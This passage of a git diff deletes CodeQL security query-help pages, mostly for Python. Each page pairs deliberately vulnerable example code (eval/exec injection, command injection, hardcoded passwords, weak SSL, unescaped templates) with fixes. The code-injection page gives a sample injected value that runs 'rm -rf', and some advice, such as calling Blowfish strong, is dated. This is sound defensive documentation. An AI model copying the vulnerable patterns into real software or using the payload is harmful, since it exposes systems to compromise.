entry.path; - // GOOD: ensures the path is safe to write to. - if (fileName.indexOf('..') == -1) { - entry.pipe(fs.createWriteStream(fileName)); - } - else { - console.log('skipping bad path', fileName); - } - }); - -``` - -## References -* Snyk: [Zip Slip Vulnerability](https://snyk.io/research/zip-slip-vulnerability). -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). \ No newline at end of file diff --git a/docs/language/query-help/python/BindToAllInterfaces.md b/docs/language/query-help/python/BindToAllInterfaces.md deleted file mode 100644 index 72fc269813a..00000000000 --- a/docs/language/query-help/python/BindToAllInterfaces.md +++ /dev/null @@ -1,44 +0,0 @@ -# Binding a socket to all network interfaces - -``` -ID: py/bind-socket-all-network-interfaces -Kind: problem -Severity: error -Precision: high -Tags: security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CVE-2018-1281/BindToAllInterfaces.ql) - -Sockets can be used to communicate with other machines on a network. You can use the (IP address, port) pair to define the access restrictions for the socket you create. When using the built-in Python `socket` module (for instance, when building a message sender service or an FTP server data transmitter), one has to bind the port to some interface. When you bind the port to all interfaces using `0.0.0.0` as the IP address, you essentially allow it to accept connections from any IPv4 address provided that it can get to the socket via routing. Binding to all interfaces is therefore associated with security risks. - - -## Recommendation -Bind your service incoming traffic only to a dedicated interface. If you need to bind more than one interface using the built-in `socket` module, create multiple sockets (instead of binding to one socket to all interfaces). - - -## Example -In this example, two sockets are insecure because they are bound to all interfaces; one through the `0.0.0.0` notation and another one through an empty string `''`. - - -```python -import socket - -# binds to all interfaces, insecure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('0.0.0.0', 31137)) - -# binds to all interfaces, insecure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('', 4040)) - -# binds only to a dedicated interface, secure -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -s.bind(('84.68.10.12', 8080)) - -``` - -## References -* Python reference: [ Socket families](https://docs.python.org/3/library/socket.html#socket-families). -* Python reference: [ Socket Programming HOWTO](https://docs.python.org/3.7/howto/sockets.html). -* Common Vulnerabilities and Exposures: [ CVE-2018-1281 Detail](https://nvd.nist.gov/vuln/detail/CVE-2018-1281). \ No newline at end of file diff --git a/docs/language/query-help/python/BrokenCryptoAlgorithm.md b/docs/language/query-help/python/BrokenCryptoAlgorithm.md deleted file mode 100644 index 3291fe7ac4c..00000000000 --- a/docs/language/query-help/python/BrokenCryptoAlgorithm.md +++ /dev/null @@ -1,49 +0,0 @@ -# Use of a broken or weak cryptographic algorithm - -``` -ID: py/weak-cryptographic-algorithm -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/BrokenCryptoAlgorithm.ql) - -Using broken or weak cryptographic algorithms can leave data vulnerable to being decrypted or forged by an attacker. - -Many cryptographic algorithms provided by cryptography libraries are known to be weak, or flawed. Using such an algorithm means that encrypted or hashed data is less secure than it appears to be. - - -## Recommendation -Ensure that you use a strong, modern cryptographic algorithm. Use at least AES-128 or RSA-2048 for encryption, and SHA-2 or SHA-3 for secure hashing. - - -## Example -The following code uses the `pycrypto` library to encrypt some secret data. When you create a cipher using `pycrypto` you must specify the encryption algorithm to use. The first example uses DES, which is an older algorithm that is now considered weak. The second example uses Blowfish, which is a stronger more modern algorithm. - - -```python -from Crypto.Cipher import DES, Blowfish - -cipher = DES.new(SECRET_KEY) - -def send_encrypted(channel, message): - channel.send(cipher.encrypt(message)) # BAD: weak encryption - - -cipher = Blowfish.new(SECRET_KEY) - -def send_encrypted(channel, message): - channel.send(cipher.encrypt(message)) # GOOD: strong encryption - - -``` -WARNING: Although the second example above is more robust, pycrypto is no longer actively maintained so we recommend using `cryptography` instead. - - -## References -* NIST, FIPS 140 Annex a: [ Approved Security Functions](http://csrc.nist.gov/publications/fips/fips140-2/fips1402annexa.pdf). -* NIST, SP 800-131A: [ Transitions: Recommendation for Transitioning the Use of Cryptographic Algorithms and Key Lengths](http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar1.pdf). -* OWASP: [Rule - Use strong approved cryptographic algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-strong-approved-authenticated-encryption). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextLogging.md b/docs/language/query-help/python/CleartextLogging.md deleted file mode 100644 index 7f576178857..00000000000 --- a/docs/language/query-help/python/CleartextLogging.md +++ /dev/null @@ -1,49 +0,0 @@ -# Clear-text logging of sensitive information - -``` -ID: py/clear-text-logging-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextLogging.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```python -from flask import Flask, make_response, request - -app = Flask("Leak password") - -@app.route('/') -def index(): - password = request.args.get("password") - resp = make_response(render_template(...)) - resp.set_cookie("password", password) - return resp - -``` -Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. - - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CleartextStorage.md b/docs/language/query-help/python/CleartextStorage.md deleted file mode 100644 index 970672f9e29..00000000000 --- a/docs/language/query-help/python/CleartextStorage.md +++ /dev/null @@ -1,49 +0,0 @@ -# Clear-text storage of sensitive information - -``` -ID: py/clear-text-storage-sensitive-data -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. If possible, avoid placing sensitive information in cookies altogether. Instead, prefer storing, in the cookie, a key that can be used to look up the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - -Be aware that external processes often store the `standard out` and `standard error` streams of the application, causing logged sensitive information to be stored as well. - - -## Example -The following example code stores user credentials (in this case, their password) in a cookie in plain text: - - -```python -from flask import Flask, make_response, request - -app = Flask("Leak password") - -@app.route('/') -def index(): - password = request.args.get("password") - resp = make_response(render_template(...)) - resp.set_cookie("password", password) - return resp - -``` -Instead, the credentials should be encrypted, for instance by using the `cryptography` module, or not stored at all. - - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CodeInjection.md b/docs/language/query-help/python/CodeInjection.md deleted file mode 100644 index f9899607756..00000000000 --- a/docs/language/query-help/python/CodeInjection.md +++ /dev/null @@ -1,51 +0,0 @@ -# Code injection - -``` -ID: py/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/owasp/owasp-a1 external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-094/CodeInjection.ql) - -Directly evaluating user input (for example, an HTTP request parameter) as code without properly sanitizing the input first allows an attacker arbitrary code execution. This can occur when user input is passed to code that interprets it as an expression to be evaluated, such as `eval` or `exec`. - - -## Recommendation -Avoid including user input in any expression that may be dynamically evaluated. If user input must be included, use context-specific escaping before including it. It is important that the correct escaping is used for the type of evaluation that will occur. - - -## Example -The following example shows two functions setting a name from a request. The first function uses `exec` to execute the `setname` function. This is dangerous as it can allow a malicious user to execute arbitrary code on the server. For example, the user could supply the value `"' + subprocess.call('rm -rf') + '"` to destroy the server's file system. The second function calls the `setname` function directly and is thus safe. - - -```python - -urlpatterns = [ - # Route to code_execution - url(r'^code-ex1$', code_execution_bad, name='code-execution-bad'), - url(r'^code-ex2$', code_execution_good, name='code-execution-good') -] - -def code_execution(request): - if request.method == 'POST': - first_name = base64.decodestring(request.POST.get('first_name', '')) - #BAD -- Allow user to define code to be run. - exec("setname('%s')" % first_name) - -def code_execution(request): - if request.method == 'POST': - first_name = base64.decodestring(request.POST.get('first_name', '')) - #GOOD --Call code directly - setname(first_name) - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/python/CommandInjection.md b/docs/language/query-help/python/CommandInjection.md deleted file mode 100644 index d57d32e1556..00000000000 --- a/docs/language/query-help/python/CommandInjection.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled command line - -``` -ID: py/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/owasp/owasp-a1 external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `exec`, `eval`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or the library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows two functions. The first is unsafe as it takes a shell script that can be changed by a user, and passes it straight to `subprocess.call()` without examining it first. The second is safe as it selects the command from a predefined allowlist. - - -```python - -urlpatterns = [ - # Route to command_execution - url(r'^command-ex1$', command_execution_unsafe, name='command-execution-unsafe'), - url(r'^command-ex2$', command_execution_safe, name='command-execution-safe') -] - -COMMANDS = { - "list" :"ls", - "stat" : "stat" -} - -def command_execution_unsafe(request): - if request.method == 'POST': - action = request.POST.get('action', '') - #BAD -- No sanitizing of input - subprocess.call(["application", action]) - -def command_execution_safe(request): - if request.method == 'POST': - action = request.POST.get('action', '') - #GOOD -- Use an allowlist - subprocess.call(["application", COMMANDS[action]]) - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/python/FlaskDebug.md b/docs/language/query-help/python/FlaskDebug.md deleted file mode 100644 index 146b8677c06..00000000000 --- a/docs/language/query-help/python/FlaskDebug.md +++ /dev/null @@ -1,41 +0,0 @@ -# Flask app is run in debug mode - -``` -ID: py/flask-debug -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-215 external/cwe/cwe-489 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-215/FlaskDebug.ql) - -Running a Flask application with debug mode enabled may allow an attacker to gain access through the Werkzeug debugger. - - -## Recommendation -Ensure that Flask applications that are run in a production environment have debugging disabled. - - -## Example -Running the following code starts a Flask webserver that has debugging enabled. By visiting `/crash`, it is possible to gain access to the debugger, and run arbitrary code through the interactive debugger. - - -```python -from flask import Flask - -app = Flask(__name__) - -@app.route('/crash') -def main(): - raise Exception() - -app.run(debug=True) - -``` - -## References -* Flask Quickstart Documentation: [Debug Mode](http://flask.pocoo.org/docs/1.0/quickstart/#debug-mode). -* Werkzeug Documentation: [Debugging Applications](http://werkzeug.pocoo.org/docs/0.14/debug/). -* Common Weakness Enumeration: [CWE-215](https://cwe.mitre.org/data/definitions/215.html). -* Common Weakness Enumeration: [CWE-489](https://cwe.mitre.org/data/definitions/489.html). \ No newline at end of file diff --git a/docs/language/query-help/python/HardcodedCredentials.md b/docs/language/query-help/python/HardcodedCredentials.md deleted file mode 100644 index 728dd363a9c..00000000000 --- a/docs/language/query-help/python/HardcodedCredentials.md +++ /dev/null @@ -1,65 +0,0 @@ -# Hard-coded credentials - -``` -ID: py/hardcoded-credentials -Kind: path-problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, `hashlib.pbkdf2_hmac`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be rewritten and redeployed in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using `hashlib.pbkdf2_hmac`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```python -import hashlib -import binascii - -def process_request(request): - password = request.GET["password"] - - # BAD: Inbound authentication made by comparison to string literal - if password == "myPa55word": - redirect("login") - - hashed_password = load_from_config('hashed_password', CONFIG_FILE) - salt = load_from_config('salt', CONFIG_FILE) - - #GOOD: Inbound authentication made by comparing to a hash password from a config file. - dk = hashlib.pbkdf2_hmac('sha256', password, salt, 100000) - hashed_input = binascii.hexlify(dk) - if hashed_input == hashed_password: - redirect("login") - - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteHostnameRegExp.md b/docs/language/query-help/python/IncompleteHostnameRegExp.md deleted file mode 100644 index 541b45e5651..00000000000 --- a/docs/language/query-help/python/IncompleteHostnameRegExp.md +++ /dev/null @@ -1,56 +0,0 @@ -# Incomplete regular expression for hostnames - -``` -ID: py/incomplete-hostname-regexp -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteHostnameRegExp.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Often, this is done by checking that the host of a URL is in a set of allowed hosts. - -If a regular expression implements such a check, it is easy to accidentally make the check too permissive by not escaping the `.` meta-characters appropriately. Even if the check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when it accidentally succeeds. - - -## Recommendation -Escape all meta-characters appropriately when constructing regular expressions for security checks, pay special attention to the `.` meta-character. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains. - - -```python -from flask import Flask, request, redirect -import re - -app = Flask(__name__) - -UNSAFE_REGEX = re.compile("(www|beta).example.com/") -SAFE_REGEX = re.compile(r"(www|beta)\.example\.com/") - -@app.route('/some/path/bad') -def unsafe(request): - target = request.args.get('target', '') - if UNSAFE_REGEX.match(target): - return redirect(target) - -@app.route('/some/path/good') -def safe(request): - target = request.args.get('target', '') - if SAFE_REGEX.match(target): - return redirect(target) - -``` -The `unsafe` check is easy to bypass because the unescaped `.` allows for any character before `example.com`, effectively allowing the redirect to go to an attacker-controlled domain such as `wwwXexample.com`. - -The `safe` check closes this vulnerability by escaping the `.` so that URLs of the form `wwwXexample.com` are rejected. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md b/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md deleted file mode 100644 index bf6ebcfd3bb..00000000000 --- a/docs/language/query-help/python/IncompleteUrlSubstringSanitization.md +++ /dev/null @@ -1,88 +0,0 @@ -# Incomplete URL substring sanitization - -``` -ID: py/incomplete-url-substring-sanitization -Kind: problem -Severity: warning -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-020/IncompleteUrlSubstringSanitization.ql) - -Sanitizing untrusted URLs is an important technique for preventing attacks such as request forgeries and malicious redirections. Usually, this is done by checking that the host of a URL is in a set of allowed hosts. - -However, treating the URL as a string and checking if one of the allowed hosts is a substring of the URL is very prone to errors. Malicious URLs can bypass such security checks by embedding one of the allowed hosts in an unexpected location. - -Even if the substring check is not used in a security-critical context, the incomplete check may still cause undesirable behaviors when the check succeeds accidentally. - - -## Recommendation -Parse a URL before performing a check on its host value, and ensure that the check handles arbitrary subdomain sequences correctly. - - -## Example -The following example code checks that a URL redirection will reach the `example.com` domain. - - -```python -from flask import Flask, request, redirect -from urllib.parse import urlparse - -app = Flask(__name__) - -# Not safe, as "evil-example.net/example.com" would be accepted - -@app.route('/some/path/bad1') -def unsafe1(request): - target = request.args.get('target', '') - if "example.com" in target: - return redirect(target) - -# Not safe, as "benign-looking-prefix-example.com" would be accepted - -@app.route('/some/path/bad2') -def unsafe2(request): - target = request.args.get('target', '') - if target.endswith("example.com"): - return redirect(target) - - - -#Simplest and safest approach is to use an allowlist - -@app.route('/some/path/good1') -def safe1(request): - allowlist = [ - "example.com/home", - "example.com/login", - ] - target = request.args.get('target', '') - if target in allowlist: - return redirect(target) - -#More complex example allowing sub-domains. - -@app.route('/some/path/good2') -def safe2(request): - target = request.args.get('target', '') - host = urlparse(target).hostname - #Note the '.' preceding example.com - if host and host.endswith(".example.com"): - return redirect(target) - - -``` -The first two examples show unsafe checks that are easily bypassed. In `unsafe1` the attacker can simply add `example.com` anywhere in the url. For example, `http://evil-example.net/example.com`. - -In `unsafe2` the attacker must use a hostname ending in `example.com`, but that is easy to do. For example, `http://benign-looking-prefix-example.com`. - -The second two examples show safe checks. In `safe1`, an allowlist is used. Although fairly inflexible, this is easy to get right and is most likely to be safe. - -In `safe2`, `urlparse` is used to parse the URL, then the hostname is checked to make sure it ends with `.example.com`. - - -## References -* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery) -* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureDefaultProtocol.md b/docs/language/query-help/python/InsecureDefaultProtocol.md deleted file mode 100644 index 721d6175cd0..00000000000 --- a/docs/language/query-help/python/InsecureDefaultProtocol.md +++ /dev/null @@ -1,44 +0,0 @@ -# Default version of SSL/TLS may be insecure - -``` -ID: py/insecure-default-protocol -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureDefaultProtocol.ql) - -The `ssl` library defaults to an insecure version of SSL/TLS when no specific protocol version is specified. This may leave the connection vulnerable to attack. - - -## Recommendation -Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. If no explicit `ssl_version` is specified, the default `PROTOCOL_TLS` is chosen. This protocol is insecure and should not be used. - - -## Example -The following code shows two different ways of setting up a connection using SSL or TLS. They are both potentially insecure because the default version is used. - - -```python -import ssl -import socket - -# Using the deprecated ssl.wrap_socket method -ssl.wrap_socket(socket.socket()) - -# Using SSLContext -context = ssl.SSLContext() - -``` -Both of the cases above should be updated to use a secure protocol instead, for instance by specifying `ssl_version=PROTOCOL_TLSv1_1` as a keyword argument. - -Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. - - -## References -* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). -* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). -* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureProtocol.md b/docs/language/query-help/python/InsecureProtocol.md deleted file mode 100644 index 2972d701178..00000000000 --- a/docs/language/query-help/python/InsecureProtocol.md +++ /dev/null @@ -1,53 +0,0 @@ -# Use of insecure SSL/TLS version - -``` -ID: py/insecure-protocol -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-327/InsecureProtocol.ql) - -Using a broken or weak cryptographic protocol may make a connection vulnerable to interference from an attacker. - - -## Recommendation -Ensure that a modern, strong protocol is used. All versions of SSL, and TLS 1.0 are known to be vulnerable to attacks. Using TLS 1.1 or above is strongly recommended. - - -## Example -The following code shows a variety of ways of setting up a connection using SSL or TLS. They are all insecure because of the version specified. - - -```python -import ssl -import socket - -# Using the deprecated ssl.wrap_socket method -ssl.wrap_socket(socket.socket(), ssl_version=ssl.PROTOCOL_SSLv2) - -# Using SSLContext -context = ssl.SSLContext(ssl_version=ssl.PROTOCOL_SSLv3) - -# Using pyOpenSSL - -from pyOpenSSL import SSL - -context = SSL.Context(SSL.TLSv1_METHOD) - - - -``` -All cases should be updated to use a secure protocol, such as `PROTOCOL_TLSv1_1`. - -Note that `ssl.wrap_socket` has been deprecated in Python 3.7. A preferred alternative is to use `ssl.SSLContext`, which is supported in Python 2.7.9 and 3.2 and later versions. - - -## References -* Wikipedia: [ Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security). -* Python 3 documentation: [ class ssl.SSLContext](https://docs.python.org/3/library/ssl.html#ssl.SSLContext). -* Python 3 documentation: [ ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket). -* pyOpenSSL documentation: [ An interface to the SSL-specific parts of OpenSSL](https://pyopenssl.org/en/stable/api/ssl.html). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/python/InsecureTemporaryFile.md b/docs/language/query-help/python/InsecureTemporaryFile.md deleted file mode 100644 index d34f4eac039..00000000000 --- a/docs/language/query-help/python/InsecureTemporaryFile.md +++ /dev/null @@ -1,51 +0,0 @@ -# Insecure temporary file - -``` -ID: py/insecure-temporary-file -Kind: problem -Severity: error -Precision: high -Tags: external/cwe/cwe-377 security - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-377/InsecureTemporaryFile.ql) - -Functions that create temporary file names (such as `tempfile.mktemp` and `os.tempnam`) are fundamentally insecure, as they do not ensure exclusive access to a file with the temporary name they return. The file name returned by these functions is guaranteed to be unique on creation but the file must be opened in a separate operation. There is no guarantee that the creation and open operations will happen atomically. This provides an opportunity for an attacker to interfere with the file before it is opened. - -Note that `mktemp` has been deprecated since Python 2.3. - - -## Recommendation -Replace the use of `mktemp` with some of the more secure functions in the `tempfile` module, such as `TemporaryFile`. If the file is intended to be accessed from other processes, consider using the `NamedTemporaryFile` function. - - -## Example -The following piece of code opens a temporary file and writes a set of results to it. Because the file name is created using `mktemp`, another process may access this file before it is opened using `open`. - - -```python -from tempfile import mktemp - -def write_results(results): - filename = mktemp() - with open(filename, "w+") as f: - f.write(results) - print("Results written to", filename) - -``` -By changing the code to use `NamedTemporaryFile` instead, the file is opened immediately. - - -```python -from tempfile import NamedTemporaryFile - -def write_results(results): - with NamedTemporaryFile(mode="w+", delete=False) as f: - f.write(results) - print("Results written to", f.name) - -``` - -## References -* Python Standard Library: [tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp). -* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html). \ No newline at end of file diff --git a/docs/language/query-help/python/Jinja2WithoutEscaping.md b/docs/language/query-help/python/Jinja2WithoutEscaping.md deleted file mode 100644 index 679af831f05..00000000000 --- a/docs/language/query-help/python/Jinja2WithoutEscaping.md +++ /dev/null @@ -1,59 +0,0 @@ -# Jinja2 templating with autoescape=False - -``` -ID: py/jinja2/autoescape-false -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-079 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/python/ql/src/Security/CWE-079/Jinja2WithoutEscaping.ql) - -Cross-site scripting (XSS) attacks can occur if untrusted input is not escaped. This applies to templates as well as code. The `jinja2` templates may be vulnerable to XSS if the environment has `autoescape` set to `False`. Unfortunately, `jinja2` sets `autoescape` to `False` by default. Explicitly setting `autoescape` to `True` when creating an `Environment` object will prevent this. - - -## Recommendation -Avoid setting jinja2 autoescape to False. Jinja2 provides the function `select_autoescape` to make sure that the correct auto-escaping is chosen. For example, it can be used when creating an environment `Environment(autoescape=select_autoescape(['html', 'xml'])` - - -## Example -The following example is a minimal Flask app which shows a safe and an unsafe way to render the given name back to the page. The first view is unsafe as `first_name` is not escaped, leaving the page vulnerable to cross-site scripting attacks. The second view is safe as `first_name` is escaped, so it is not vulnerable to cross-site scripting attacks. - - -```python -from flask import Flask, request, make_response, escape -from jinja2 import Environment, select_autoescape, FileSystemLoader - -app = Flask(__name__) -loader = FileSystemLoader( searchpath="templates/" ) - -unsafe_env = Environment(loader=loader) -safe1_env = Environment(loader=loader, autoescape=True) -safe2_env = Environment(loader=loader, autoescape=select_autoescape()) - -def render_response_from_env(env): - name = request.args.get('name', '') - template = env.get_template('template.html') - return make_response(template.render(name=name)) - -@app.route('/unsafe') -def unsafe(): - return render_response_from_env(unsafe_env) - -@app.route('/safe1') -def safe1(): - return render_response_from_env(safe1_env) - -@app.route('/safe2') -def safe2(): - return render_response_from_env(safe2_env) - - -``` - -## References -* Jinja2: [API](http://jinja.pocoo.org/docs/2.10/api/). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). \ No newline at end of file diff --git a/docs/language/query-help/python/MissingHostKeyValidation.md b/docs/language/query-help/python/MissingHostKeyValidation.md deleted file mode 100644 index 5e7e9cd2d4c..00000000000 --- a/docs/language/query-help/python/MissingHostKeyValidation.md +++ /dev/null @@ -1,49 +0,0 @@ -# Accepting unknown SSH host keys when using 